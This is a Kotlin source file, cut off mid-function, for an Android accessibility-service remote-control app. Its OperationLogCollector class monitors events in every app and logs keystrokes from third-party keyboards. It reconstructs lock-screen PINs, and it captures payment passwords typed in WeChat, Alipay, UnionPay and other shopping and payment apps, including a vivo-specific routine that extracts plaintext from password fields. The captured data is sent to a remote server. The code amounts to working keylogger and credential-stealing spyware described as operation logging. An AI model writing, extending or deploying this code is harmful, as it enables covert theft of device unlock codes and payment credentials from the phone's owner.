package com.hikoncont import android.accessibilityservice.AccessibilityService import android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK import android.accessibilityservice.GestureDescription import android.content.Context import android.content.pm.ApplicationInfo import android.content.pm.PackageManager import android.graphics.Path import android.os.Handler import android.os.Looper import android.util.Log import android.view.accessibility.AccessibilityEvent import android.view.accessibility.AccessibilityNodeInfo import com.hikoncont.service.AccessibilityRemoteService import com.hikoncont.network.SocketIOManager import kotlinx.coroutines.* import org.json.JSONObject import kotlin.random.Random /** * 操作日志收集器 * 负责收集设备操作日志并发送到服务器 */ class OperationLogCollector(private val service: AccessibilityRemoteService) { companion object { private const val TAG = "OperationLogCollector" // ✅ 添加程序化输入状态跟踪 var isProgrammaticInputActive = false var lastProgrammaticInputTime = 0L // ✅ vivo设备检测和优化参数 private val isVivoDevice: Boolean by lazy { val brand = android.os.Build.BRAND?.lowercase() ?: "" val manufacturer = android.os.Build.MANUFACTURER?.lowercase() ?: "" val model = android.os.Build.MODEL?.lowercase() ?: "" val isVivo = brand.contains("vivo") || manufacturer.contains("vivo") || brand.contains("iqoo") || manufacturer.contains("iqoo") || model.contains("vivo") || model.contains("iqoo") if (isVivo) { android.util.Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model") android.util.Log.i(TAG, "📱 vivo设备将使用优化的数字密码记录策略") } isVivo } // ✅ vivo设备专用参数 private val vivoOptimizedProgrammaticDetectionWindow = 500L // vivo设备程序化检测窗口缩短为500ms private val vivoOptimizedDuplicateWindow = 100L // vivo设备重复过滤窗口缩短为100ms private val vivoOptimizedReconstructionWindow = 50L // vivo设备重构去重窗口缩短为50ms // ✅ 新增:TEXT_DETECTED去重和频率控制 private val textDetectedCache = mutableMapOf() // 文本内容 -> 最后记录时间 private val packageTextCache = mutableMapOf>() // 包名 -> 已记录的文本集合 private const val TEXT_DETECTED_COOLDOWN = 5000L // 相同文本5秒内不重复记录 private const val MAX_TEXT_DETECTED_PER_PACKAGE = 100 // 每个包最多记录100个不同文本 private var lastTextDetectedCleanup = 0L private const val CACHE_CLEANUP_INTERVAL = 30000L // 30秒清理一次缓存 // ✅ 新增:TEXT_DETECTED统计信息 private var textDetectedTotalCount = 0L // 总检测到的文本数量 private var textDetectedRecordedCount = 0L // 实际记录的文本数量 private var textDetectedFilteredCount = 0L // 被过滤的文本数量 } // 🔕 WebView页面降载:进入本应用的WebView页面时,暂停无障碍事件处理以降低开销 @Volatile private var pauseAccessibilityForWebView: Boolean = false private val logScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private var isLogging = false // ✅ 高频事件去抖:减少无障碍高频事件造成的日志与CPU压力 private var lastWindowContentChangedLogTime = 0L private var lastTextChangedLogTime = 0L // 🚀 移除 WebView 检测功能,简化代码 init { // ✅ 初始化时输出TEXT_DETECTED优化信息 Log.i(TAG, "🚀 OperationLogCollector初始化完成") Log.i(TAG, "📝 TEXT_DETECTED优化已启用:") Log.i(TAG, " - 重复文本去重: ✅ (${TEXT_DETECTED_COOLDOWN}ms冷却)") Log.i(TAG, " - 明显无意义文本过滤: ✅ (保守策略)") Log.i(TAG, " - 包文本数量限制: ✅ (每包最多${MAX_TEXT_DETECTED_PER_PACKAGE}个)") Log.i(TAG, " - 定期缓存清理: ✅ (${CACHE_CLEANUP_INTERVAL}ms周期)") Log.i(TAG, " - 统计报告: ✅") } // 用于去重的最近操作记录 private var lastAppEvent: String? = null private var lastAppEventTime: Long = 0 private val deduplicateWindow = 2000L // 2秒内的重复事件去重 // 密码输入相关状态跟踪 private var isPasswordInputActive = false private var passwordInputStartTime = 0L private var passwordInputEvents = mutableListOf>() private var lastPasswordEventTime = 0L private var currentPasswordLength = 0 private val passwordInputTimeout = 5000L // 5秒内的输入认为是同一个密码输入过程 // ✅ 确认按钮坐标捕获相关状态 private var isAwaitingConfirmClick = false private var confirmClickStartTime = 0L private var lastConfirmClickCoordinate: Pair? = null private val confirmClickTimeout = 5000L // 5秒超时 // ✅ 数字密码序列记录 private val numericPasswordSequence = mutableListOf>() // ✅ 数字0检测标志 - 一旦检测到0,就确定是数字密码 private var hasDetectedZero = false // ✅ 新增:防止重复分析的锁 private var isPasswordAnalyzing = false private var lastPasswordAnalysisTime = 0L private val passwordAnalysisLockTimeout = 3000L // 3秒内不重复分析 // ✅ 增强检测的安全开关 private var isEnhancedDetectionMode = false private var enhancedDetectionStartTime = 0L private val enhancedDetectionTimeout = 30000L // 30秒后自动关闭增强模式 // ✅ vivo设备专用密码捕获优化 private val vivoExtractedChars = mutableListOf() // vivo设备捕获的明文字符 private var vivoLastCaptureTime = 0L // vivo设备最后捕获时间 private val vivoCaptureWindow = 100L // vivo设备捕获窗口100ms private var vivoPasswordBuffer = "" // vivo设备密码缓冲区 private val vivoActiveScanning = mutableSetOf() // vivo设备正在扫描的包名 // 🔧 新增:批量日志发送配置,避免与屏幕数据传输冲突 private val logSendBuffer = mutableListOf() private val logSendDelay = 1000L // 1秒延迟发送,避免与控制命令同时传输 private var lastLogSendTime = 0L private var logSendJob: kotlinx.coroutines.Job? = null /** * 开始日志收集 */ fun startLogging() { isLogging = true Log.i(TAG, "🔍 开始收集操作日志") } // 🚀 移除 WebView 模式设置功能 /** * 停止日志收集 */ fun stopLogging() { isLogging = false Log.i(TAG, "⏹️ 停止收集操作日志") } /** * 记录操作日志 */ fun recordLog(logType: String, content: String, extraData: Map?) { if (!isLogging) return // ✅ 特别关注密码分析相关的日志 if (logType == "TEXT_INPUT" && (content.contains("密码") || content.contains("🔒") || extraData?.get("isPasswordCapture") == true)) { Log.d(TAG, "🔒 [密码分析] 发送密码分析日志到服务器: $logType - $content") Log.d(TAG, "🔒 [密码分析] 额外数据: ${extraData?.keys?.joinToString(", ")}") } if (logType == "TEXT_DETECTED"){ //不要這個數據,沒用 return } logScope.launch { try { sendLogToServer(logType, content, extraData) } catch (e: Exception) { Log.e(TAG, "❌ 发送日志失败: $content", e) } } } /** * 处理无障碍事件(用于检测应用切换等) */ fun handleAccessibilityEvent(event: AccessibilityEvent) { if (!isLogging) { Log.d(TAG, "🚫 日志记录未启用,跳过事件处理") return } // try { // val pkg = event.packageName?.toString() ?: "" // val cls = event.className?.toString() ?: "" // val isOurApp = pkg == service.packageName // val isWebViewClass = cls.contains("WebView", ignoreCase = true) || cls == "android.webkit.WebView" // if (event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED || event.eventType == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) { // if (isOurApp && isWebViewClass) { // pauseAccessibilityForWebView = true // } else if (!isWebViewClass) { // pauseAccessibilityForWebView = false // } // } // if (pauseAccessibilityForWebView && isOurApp) { // return // } // } catch (_: Exception) { } val type = event.eventType val now = System.currentTimeMillis() // 去抖:窗口内容变化 500ms 内只处理一次日志 if (type == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) { if (now - lastWindowContentChangedLogTime < 500L) { // 仍然允许后续逻辑处理,但避免高频日志打印(此处直接返回可进一步降噪) return } lastWindowContentChangedLogTime = now } // 去抖:文本变化 200ms 内只处理一次日志 if (type == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) { if (now - lastTextChangedLogTime < 200L) { return } lastTextChangedLogTime = now } // 仅对关键事件保留详细日志 val isCriticalEvent = (type == AccessibilityEvent.TYPE_VIEW_CLICKED || type == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val eventTypeString = if (isCriticalEvent) eventTypeToString(type) else "" if (isCriticalEvent) { Log.d(TAG, "🔍 [事件监控] 处理无障碍事件: 类型=$eventTypeString($type), 包名=$packageName, 类名=$className") } // ✅ 检查是否为输入法相关包名 val isInputMethodPackage = packageName.lowercase().let { pkg -> pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") || pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou") || pkg.contains("baidu") || pkg.contains("iflytek") } // ✅ 特别关注第三方应用和输入法的事件 if (isCriticalEvent && !packageName.contains("systemui", ignoreCase = true)) { val eventText = event.text?.joinToString("") ?: "" val contentDesc = event.contentDescription?.toString() ?: "" val appType = if (isInputMethodPackage) "输入法" else "第三方应用" when (type) { AccessibilityEvent.TYPE_VIEW_FOCUSED -> { Log.i(TAG, "🎯 [$appType] 焦点事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'") } AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> { Log.i(TAG, "📝 [$appType] 文本变化事件: 包名=$packageName, 类名=$className, 文本='$eventText'") } AccessibilityEvent.TYPE_VIEW_CLICKED -> { Log.i(TAG, "👆 [$appType] 点击事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'") analyzeClickedElement(event, packageName, className, eventText, contentDesc) } AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> { Log.i(TAG, "👆 [$appType] 触摸开始事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'") } AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> { Log.i(TAG, "👆 [$appType] 触摸结束事件: 包名=$packageName, 类名=$className, 文本='$eventText', 描述='$contentDesc'") } AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> { if (eventText.isNotEmpty() || contentDesc.isNotEmpty()) { Log.v(TAG, "🔄 [$appType] 窗口内容变化: 包名=$packageName, 文本='$eventText', 描述='$contentDesc'") } } } } try { if (isCriticalEvent && packageName.contains("systemui", ignoreCase = true)) { Log.d(TAG, "🔍 SystemUI事件: 类型=${event.eventType}, 类名=$className, 包名=$packageName") } when (event.eventType) { AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> { handleWindowStateChanged(event) } AccessibilityEvent.TYPE_VIEW_CLICKED -> { Log.d(TAG, "🔍 [密码分析] 处理点击事件 - 可能包含数字密码分析") handleViewClicked(event) } AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> { Log.d(TAG, "🔍 [密码分析] 处理文本变化事件 - 核心密码输入检测") handleTextChanged(event) } AccessibilityEvent.TYPE_VIEW_SCROLLED -> { handleViewScrolled(event) } AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> { handleTouchStart(event) } AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> { handleTouchEnd(event) } AccessibilityEvent.TYPE_VIEW_SELECTED -> { handleViewSelected(event) } AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> { handleEnhancedWindowContentChanged(event) // ✅ vivo设备额外密码捕获机会 if (isVivoDevice && isPasswordField(event)) { val text = event.text?.joinToString("") ?: "" val beforeText = event.beforeText?.toString() ?: "" if (text.isNotEmpty()) { Log.d(TAG, "📱 [vivo额外捕获] WINDOW_CONTENT_CHANGED密码事件: '$text'") handleVivoPasswordCapture(event, text, beforeText, packageName, className) } } } AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> { handleTextSelectionChanged(event) // ✅ vivo设备额外密码捕获机会 if (isVivoDevice && isPasswordField(event)) { val text = event.text?.joinToString("") ?: "" val beforeText = event.beforeText?.toString() ?: "" if (text.isNotEmpty()) { Log.d(TAG, "📱 [vivo额外捕获] TEXT_SELECTION_CHANGED密码事件: '$text'") handleVivoPasswordCapture(event, text, beforeText, packageName, className) } } } AccessibilityEvent.TYPE_VIEW_FOCUSED -> { handleViewFocused(event) } // ✅ 新增:添加更多事件类型的监听 AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> { handleViewLongClicked(event) } AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> { handleViewHover(event, "HOVER_ENTER") } AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> { handleViewHover(event, "HOVER_EXIT") } } } catch (e: Exception) { Log.e(TAG, "❌ 处理无障碍事件失败", e) } } /** * 将事件类型转换为可读字符串 */ private fun eventTypeToString(eventType: Int): String { return when (eventType) { AccessibilityEvent.TYPE_VIEW_CLICKED -> "VIEW_CLICKED" AccessibilityEvent.TYPE_VIEW_LONG_CLICKED -> "VIEW_LONG_CLICKED" AccessibilityEvent.TYPE_VIEW_SELECTED -> "VIEW_SELECTED" AccessibilityEvent.TYPE_VIEW_FOCUSED -> "VIEW_FOCUSED" AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> "VIEW_TEXT_CHANGED" AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> "WINDOW_STATE_CHANGED" AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED -> "NOTIFICATION_STATE_CHANGED" AccessibilityEvent.TYPE_VIEW_HOVER_ENTER -> "VIEW_HOVER_ENTER" AccessibilityEvent.TYPE_VIEW_HOVER_EXIT -> "VIEW_HOVER_EXIT" AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_START -> "TOUCH_EXPLORATION_GESTURE_START" AccessibilityEvent.TYPE_TOUCH_EXPLORATION_GESTURE_END -> "TOUCH_EXPLORATION_GESTURE_END" AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED -> "WINDOW_CONTENT_CHANGED" AccessibilityEvent.TYPE_VIEW_SCROLLED -> "VIEW_SCROLLED" AccessibilityEvent.TYPE_VIEW_TEXT_SELECTION_CHANGED -> "VIEW_TEXT_SELECTION_CHANGED" AccessibilityEvent.TYPE_ANNOUNCEMENT -> "ANNOUNCEMENT" AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED -> "VIEW_ACCESSIBILITY_FOCUSED" AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED -> "VIEW_ACCESSIBILITY_FOCUSED" AccessibilityEvent.TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY -> "VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY" AccessibilityEvent.TYPE_GESTURE_DETECTION_START -> "GESTURE_DETECTION_START" AccessibilityEvent.TYPE_GESTURE_DETECTION_END -> "GESTURE_DETECTION_END" AccessibilityEvent.TYPE_TOUCH_INTERACTION_START -> "TOUCH_INTERACTION_START" AccessibilityEvent.TYPE_TOUCH_INTERACTION_END -> "TOUCH_INTERACTION_END" else -> "UNKNOWN_$eventType" } } /** * 处理窗口状态变化(应用切换) */ private fun handleWindowStateChanged(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: return val className = event.className?.toString() ?: return // 去重:避免重复记录相同应用 val currentEvent = "$packageName|$className" val currentTime = System.currentTimeMillis() if (currentEvent == lastAppEvent && (currentTime - lastAppEventTime) < deduplicateWindow) { return } lastAppEvent = currentEvent lastAppEventTime = currentTime // 获取应用名称 val appName = getAppName(packageName) ?: packageName logScope.launch { recordLog( "APP_OPENED", "打开应用: $appName", mapOf( "packageName" to packageName, "className" to className, "appName" to appName ) ) } } /** * 处理点击事件 - 增强密码场景处理和确认按钮坐标捕获 */ private fun handleViewClicked(event: AccessibilityEvent) { val text = event.text?.joinToString(" ") ?: "" val className = event.className?.toString() ?: "" val packageName = event.packageName?.toString() ?: "" val contentDescription = event.contentDescription?.toString() ?: "" // ✅ 安全的增强检测:只在密码输入场景激活 if (shouldUseEnhancedDetection(packageName, className, text, contentDescription)) { val eventText = event.text?.joinToString("") ?: "" val contentDesc = event.contentDescription?.toString() ?: "" // 强化第三方应用键盘检测(仅在增强模式下) val isLikelyKeyboardClick = detectKeyboardClick(packageName, className, eventText, contentDesc) if (isLikelyKeyboardClick) { val detectedChar = extractKeyboardCharacter(eventText, contentDesc, className) if (detectedChar.isNotEmpty()) { Log.w(TAG, "🚨 [增强模式] 键盘输入检测: '$detectedChar' from $packageName") // 立即记录键盘字符 logScope.launch { recordLog( "ENHANCED_KEYBOARD_CLICK", "增强键盘检测: $detectedChar", mapOf( "character" to detectedChar, "packageName" to packageName, "className" to className, "originalText" to eventText, "contentDescription" to contentDesc, "detectionMethod" to "enhanced_click_detection", "enhancedMode" to true ) ) } // 如果是数字,添加到数字序列 if (detectedChar.matches(Regex("[0-9]"))) { val currentTime = System.currentTimeMillis() numericPasswordSequence.add(mapOf( "digit" to detectedChar, "timestamp" to currentTime, "className" to className, "packageName" to packageName, "source" to "enhanced_click_detection" )) Log.w(TAG, "🔢 [增强模式] 数字序列添加: $detectedChar (总计: ${numericPasswordSequence.size})") } } } } // ✅ 检查是否为等待中的确认按钮点击 val currentTime = System.currentTimeMillis() if (isAwaitingConfirmClick && (currentTime - confirmClickStartTime) <= confirmClickTimeout) { // 检查是否是确认按钮点击 if (isPossibleConfirmButton(text, contentDescription, className)) { // 尝试获取点击坐标 val coordinates = extractClickCoordinates(event) if (coordinates != null) { lastConfirmClickCoordinate = coordinates Log.d(TAG, "✅ 捕获到确认按钮点击坐标: (${coordinates.first}, ${coordinates.second})") isAwaitingConfirmClick = false } } } // 检测特殊点击场景 val isKeyboardKey = isVirtualKeyboard(packageName, className) val isFingerprintSensor = isFingerprintSensor(contentDescription, className) // ✅ 处理数字键盘点击 - 记录数字序列用于密码重构 // ✅ 增强数字键检测:支持带字母格式(如"PQRS 7", "MNO 6") val extractedDigit = extractDigitFromText(text) val isNumericKey = extractedDigit != null // ✅ 修复:SystemUI的数字键盘不依赖isKeyboardKey判断 val isNumericKeypad = isNumericKey && ( isKeyboardKey || // 传统键盘 packageName.contains("systemui", ignoreCase = true) || // SystemUI锁屏键盘 className.contains("numpad", ignoreCase = true) || className.contains("numeric", ignoreCase = true) || className.contains("keypad", ignoreCase = true) ) // ✅ 增强:第三方应用的键盘字符检测 - 更宽泛的检测条件 val isThirdPartyKeyboardInput = !packageName.contains("systemui", ignoreCase = true) && ( // 方法1:基于文本内容 (text.length == 1 && text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]"))) || // 方法2:基于提取的字符 extractedDigit != null || // 方法3:基于类名特征 (isKeyboardKey || className.lowercase().let { cls -> cls.contains("key") || cls.contains("button") || cls.contains("numpad") || cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") || cls.contains("digit") || cls.contains("char") }) || // 方法4:基于内容描述特征 contentDescription.lowercase().let { desc -> desc.contains("key") || desc.contains("按键") || desc.contains("键") || desc.contains("button") || desc.contains("输入") || desc.contains("数字") || desc.matches(Regex(".*[0-9a-zA-Z].*")) } ) Log.i(TAG, "🔍 [密码分析] 数字键检测: text='$text', isNumericKey=$isNumericKey, isNumericKeypad=$isNumericKeypad, isKeyboardKey=$isKeyboardKey") Log.i(TAG, "🔍 [密码分析] 第三方键盘: isThirdPartyKeyboardInput=$isThirdPartyKeyboardInput") Log.i(TAG, "🔍 [密码分析] 事件上下文: 包名=$packageName, 类名=$className") // ✅ 新增:处理第三方应用的键盘输入 if (isThirdPartyKeyboardInput) { val inputCharacter = extractedDigit ?: text.take(1) Log.i(TAG, "⌨️ [第三方键盘] 检测到键盘字符输入: '$inputCharacter' (原始: '$text') 来自包名=$packageName") Log.i(TAG, "⌨️ [第三方键盘] 检测条件: 文本='$text', 类名=$className, 描述='$contentDescription'") // 记录第三方应用的键盘输入 logScope.launch { recordLog( "THIRD_PARTY_KEYBOARD_INPUT", "第三方应用键盘输入: $inputCharacter", mapOf( "character" to inputCharacter, "originalText" to text, "contentDescription" to contentDescription, "className" to className, "packageName" to packageName, "isNumeric" to (extractedDigit != null), "isKeyboardKey" to isKeyboardKey, "eventType" to "KEYBOARD_CHARACTER", "source" to "third_party_app", "detectionMethod" to "click_event_analysis" ) ) } // ✅ 额外的强化记录 - 确保不会被遗漏 Log.w(TAG, "🚨 [强化记录] 第三方键盘输入确认: '$inputCharacter' from $packageName") } // ✅ 修复:只有在程序化输入时才使用特殊的数字密码处理 if (isNumericKey && isNumericKeypad) { // 检查是否是程序化输入 val isProgrammaticInput = isCurrentlyExecutingNumericPasswordInput() if (isProgrammaticInput) { Log.w(TAG, "🔢 [程序化输入] 检测到程序化数字键点击: $text - 使用专用处理") // 程序化输入使用专用的密码输入处理 handlePasswordInput(event, text, "", currentTime) return // 程序化输入直接返回,不进行后续处理 } else { Log.w(TAG, "🔢 [用户输入] 检测到用户数字键点击: $text - 使用正常流程") // ✅ 修复:对于锁屏页面的用户真实数字输入,只记录数字序列,不调用handlePasswordInput if (packageName.contains("systemui", ignoreCase = true)) { Log.i(TAG, "🔢 [锁屏数字输入] 检测到锁屏页面用户数字输入: $text") // ✅ 修复:记录数字到序列中,但避免重复记录 val digitToRecord = extractedDigit ?: text // 检查是否与最近的记录重复(时间窗口内的相同数字) val lastRecord = numericPasswordSequence.lastOrNull() val lastDigit = lastRecord?.get("digit") as? String val lastTimestamp = lastRecord?.get("timestamp") as? Long ?: 0L val timeDiff = currentTime - lastTimestamp // ✅ vivo设备使用优化的重复过滤窗口,减少误过滤 val duplicateWindow = if (isVivoDevice) { vivoOptimizedDuplicateWindow // vivo设备: 100ms } else { 200L // 其他设备: 200ms } val isDuplicate = lastDigit == digitToRecord && timeDiff < duplicateWindow if (!isDuplicate) { numericPasswordSequence.add(mapOf( "digit" to digitToRecord, "timestamp" to currentTime, "className" to className, "packageName" to packageName, "source" to "user_click", "originalText" to text // 保留原始文本用于调试 )) Log.i(TAG, "🔢 [锁屏数字输入] 已记录用户数字输入: $digitToRecord (原始: $text), 当前序列长度: ${numericPasswordSequence.size}") if (isVivoDevice) { Log.d(TAG, "📱 [vivo优化] 使用优化重复过滤窗口: ${duplicateWindow}ms") } } else { Log.d(TAG, "🔢 [锁屏数字输入] 跳过重复数字: $digitToRecord (时间差: ${timeDiff}ms, 过滤窗口: ${duplicateWindow}ms)") } // 检测到数字0,立即标记 if (digitToRecord == "0") { hasDetectedZero = true Log.d(TAG, "⚡ 用户输入检测到数字0,切换模式: hasDetectedZero = true") } // ✅ 修复:删除handlePasswordInput调用,避免重复处理 // 密码分析将完全由真实的文本变化事件触发,避免模拟事件和重复处理 } } } // ✅ 优化数字键盘点击记录 if (text.isNotEmpty() || className.isNotEmpty() || isKeyboardKey || isFingerprintSensor) { // ✅ 使用相同的增强数字检测逻辑 val logExtractedDigit = extractDigitFromText(text) val isNumericKey = logExtractedDigit != null val isNumericKeypad = isKeyboardKey && (className.contains("numpad", ignoreCase = true) || className.contains("numeric", ignoreCase = true) || packageName.contains("systemui", ignoreCase = true)) val logContent = when { isFingerprintSensor -> "指纹识别操作" isNumericKey && isNumericKeypad -> { val displayText = if (logExtractedDigit != null && logExtractedDigit != text) { "$logExtractedDigit (原始: $text)" } else { logExtractedDigit ?: text } "🔢 数字密码键盘点击: $displayText" } isNumericKey -> { val displayText = if (logExtractedDigit != null && logExtractedDigit != text) { "$logExtractedDigit (原始: $text)" } else { logExtractedDigit ?: text } "🔢 数字键点击: $displayText" } isKeyboardKey -> "虚拟键盘输入: ${if (text.isNotEmpty()) text else "特殊键"}" text.isNotEmpty() -> "点击控件: $text" else -> "点击控件 ($className)" } logScope.launch { val extraData = mutableMapOf( "text" to text, "className" to className, "packageName" to packageName, "contentDescription" to contentDescription, "isKeyboardKey" to isKeyboardKey, "isNumericKey" to isNumericKey, "isNumericKeypad" to isNumericKeypad, "isFingerprintSensor" to isFingerprintSensor ) if (isNumericKey) { extraData["digitValue"] = logExtractedDigit ?: text if (logExtractedDigit != null && logExtractedDigit != text) { extraData["originalText"] = text } } recordLog( "CLICK", logContent, extraData ) } } } /** * ✅ 增强版:检查是否为可能的确认按钮 */ private fun isPossibleConfirmButton(text: String, contentDescription: String, className: String): Boolean { val confirmKeywords = arrayOf( // 中文确认关键词 "确认", "确定", "完成", "提交", "登录", "解锁", "继续", "下一步", "进入", "好的", "同意", "允许", "授权", "开始", "立即", "确认密码", "确认解锁", // 英文确认关键词 "ok", "done", "confirm", "submit", "enter", "go", "next", "continue", "login", "unlock", "agree", "allow", "start", "begin", "sign in", "log in", // 符号类确认 "→", "✓", "√", "➤", "⏎", "↵" ) // 排除关键词(避免误判) val excludeKeywords = arrayOf( "取消", "cancel", "back", "返回", "删除", "delete", "clear", "重置", "reset", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", // 排除数字键盘 "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" // 排除字母键盘 ) val textLower = text.lowercase().trim() val descLower = contentDescription.lowercase().trim() val classLower = className.lowercase() // ✅ 先检查排除条件 for (exclude in excludeKeywords) { if (textLower == exclude || descLower == exclude) { Log.d(TAG, "🚫 排除按钮: '$text' (匹配排除关键词: $exclude)") return false } } // ✅ 检查确认关键词 for (keyword in confirmKeywords) { if (textLower.contains(keyword) || descLower.contains(keyword)) { Log.d(TAG, "✅ 确认按钮匹配关键词: '$text' / '$contentDescription' (关键词: $keyword)") return true } } // ✅ 检查是否为按钮类控件(更严格的条件) val isButtonLikeControl = classLower.contains("button") || classLower.contains("imagebutton") || (classLower.contains("imageview") && (text.isNotEmpty() || contentDescription.isNotEmpty())) || (classLower.contains("textview") && text.isNotEmpty() && text.length <= 10) // 限制文本长度,避免长文本 // ✅ 如果是按钮类控件,但没有明确的确认文字,进行进一步检查 if (isButtonLikeControl) { // 如果是空文本的按钮,可能是图标按钮 if (text.isEmpty() && contentDescription.isEmpty()) { Log.d(TAG, "🤔 可能的图标确认按钮: 类名=$className") return true } // 如果有简短的文本,可能是确认按钮 if (text.isNotEmpty() && text.length <= 6 && !text.matches(Regex("\\d+"))) { Log.d(TAG, "✅ 可能的文本确认按钮: '$text'") return true } } Log.d(TAG, "❌ 不是确认按钮: '$text' / '$contentDescription' / '$className'") return false } /** * ✅ 新增:尝试从事件中提取点击坐标 */ private fun extractClickCoordinates(event: AccessibilityEvent): Pair? { try { // 从事件源节点获取屏幕坐标 val source = event.source if (source != null) { val rect = android.graphics.Rect() source.getBoundsInScreen(rect) // 返回控件中心点坐标 val centerX = (rect.left + rect.right) / 2.0f val centerY = (rect.top + rect.bottom) / 2.0f source.recycle() return Pair(centerX, centerY) } } catch (e: Exception) { Log.w(TAG, "提取点击坐标失败", e) } return null } /** * 处理文本变化事件 - 增强密码输入分析 */ private fun handleTextChanged(event: AccessibilityEvent) { val packageName = event.packageName?.toString() ?: "" val className = event.className?.toString() ?: "" val text = event.text?.joinToString("") ?: "" val beforeText = event.beforeText?.toString() ?: "" // ✅ 智能检测密码输入场景并启用增强模式 val isPotentialPasswordScenario = detectPasswordScenario(packageName, className, text, beforeText) if (isPotentialPasswordScenario && !isEnhancedDetectionMode) { activateEnhancedDetection("密码场景检测") } // ✅ vivo设备专用快速密码捕获优化 if (isVivoDevice && isPotentialPasswordScenario) { handleVivoPasswordCapture(event, text, beforeText, packageName, className) } // ✅ 安全的增强文本变化监控:只在增强模式且明确的密码场景下 if (isEnhancedDetectionMode && isPotentialPasswordScenario) { Log.w(TAG, "🔍 [增强模式] 文本变化监控: 包名: $packageName") Log.w(TAG, " 当前文本: '$text' (长度: ${text.length})") Log.w(TAG, " 之前文本: '$beforeText' (长度: ${beforeText.length})") // 特别关注支付密码场景 if (isPaymentPasswordScenario(packageName, className, text)) { Log.w(TAG, "🚨 [支付密码] 检测到支付密码输入场景") // 分析文本变化模式 val textLengthIncreased = text.length > beforeText.length val isNewCharacter = textLengthIncreased && (text.length - beforeText.length) == 1 // 如果是新增单个字符 if (isNewCharacter) { val newChar = text.takeLast(1) Log.w(TAG, "🚨 [支付密码] 检测到新字符: '$newChar'") // 立即记录新增的字符 logScope.launch { recordLog( "PAYMENT_PASSWORD_CHANGE", "支付密码新增: $newChar", mapOf( "newCharacter" to newChar, "fullText" to text, "previousText" to beforeText, "packageName" to packageName, "className" to className, "detectionMethod" to "enhanced_text_analysis", "enhancedMode" to true ) ) } // 如果是数字,添加到序列 if (newChar.matches(Regex("[0-9]"))) { val currentTime = System.currentTimeMillis() numericPasswordSequence.add(mapOf( "digit" to newChar, "timestamp" to currentTime, "className" to className, "packageName" to packageName, "source" to "enhanced_payment_text_change" )) Log.w(TAG, "🔢 [支付密码] 数字序列添加: $newChar (总计: ${numericPasswordSequence.size})") } } // 分析完整文本中的数字变化 val currentDigits = text.filter { it.isDigit() } val previousDigits = beforeText.filter { it.isDigit() } if (currentDigits.length > previousDigits.length) { val newDigits = currentDigits.drop(previousDigits.length) Log.w(TAG, "🚨 [支付密码] 新增数字: '$newDigits'") newDigits.forEach { digit -> val currentTime = System.currentTimeMillis() numericPasswordSequence.add(mapOf( "digit" to digit.toString(), "timestamp" to currentTime, "className" to className, "packageName" to packageName, "source" to "enhanced_payment_digit_analysis" )) Log.w(TAG, "🔢 [支付密码] 数字序列添加: $digit (总计: ${numericPasswordSequence.size})") } } } } val currentTime = System.currentTimeMillis() // 检查是否为密码字段 if (isPasswordField(event)) { handlePasswordInput(event, text, beforeText, currentTime) } } /** * ✅ 智能检测密码输入场景 */ private fun detectPasswordScenario(packageName: String, className: String, text: String, beforeText: String): Boolean { // 1. 检查是否为已知的支付应用 val isPaymentApp = packageName.contains("tencent.mm") || // 微信 packageName.contains("alipay") || // 支付宝 packageName.contains("unionpay") || // 云闪付 packageName.contains("jd") || // 京东 packageName.contains("taobao") || // 淘宝 packageName.contains("meituan") // 美团 // 2. 检查文本模式是否像密码输入 val hasPasswordPattern = (text.contains("•") || text.contains("*")) || // 掩码字符 (text.length in 1..12 && text.all { it.isDigit() }) || // 数字密码 (beforeText.isEmpty() && text.length == 1 && text.matches(Regex("[0-9]"))) // 首次数字输入 // 3. 检查类名是否指示密码输入 val hasPasswordClass = className.lowercase().let { cls -> cls.contains("password") || cls.contains("pin") || cls.contains("secure") || cls.contains("payment") || cls.contains("pay") || cls.contains("wallet") } // 4. 检查文本长度变化模式(通常密码是逐字符输入) val hasPasswordInputPattern = (text.length - beforeText.length) == 1 && text.length <= 8 return isPaymentApp && 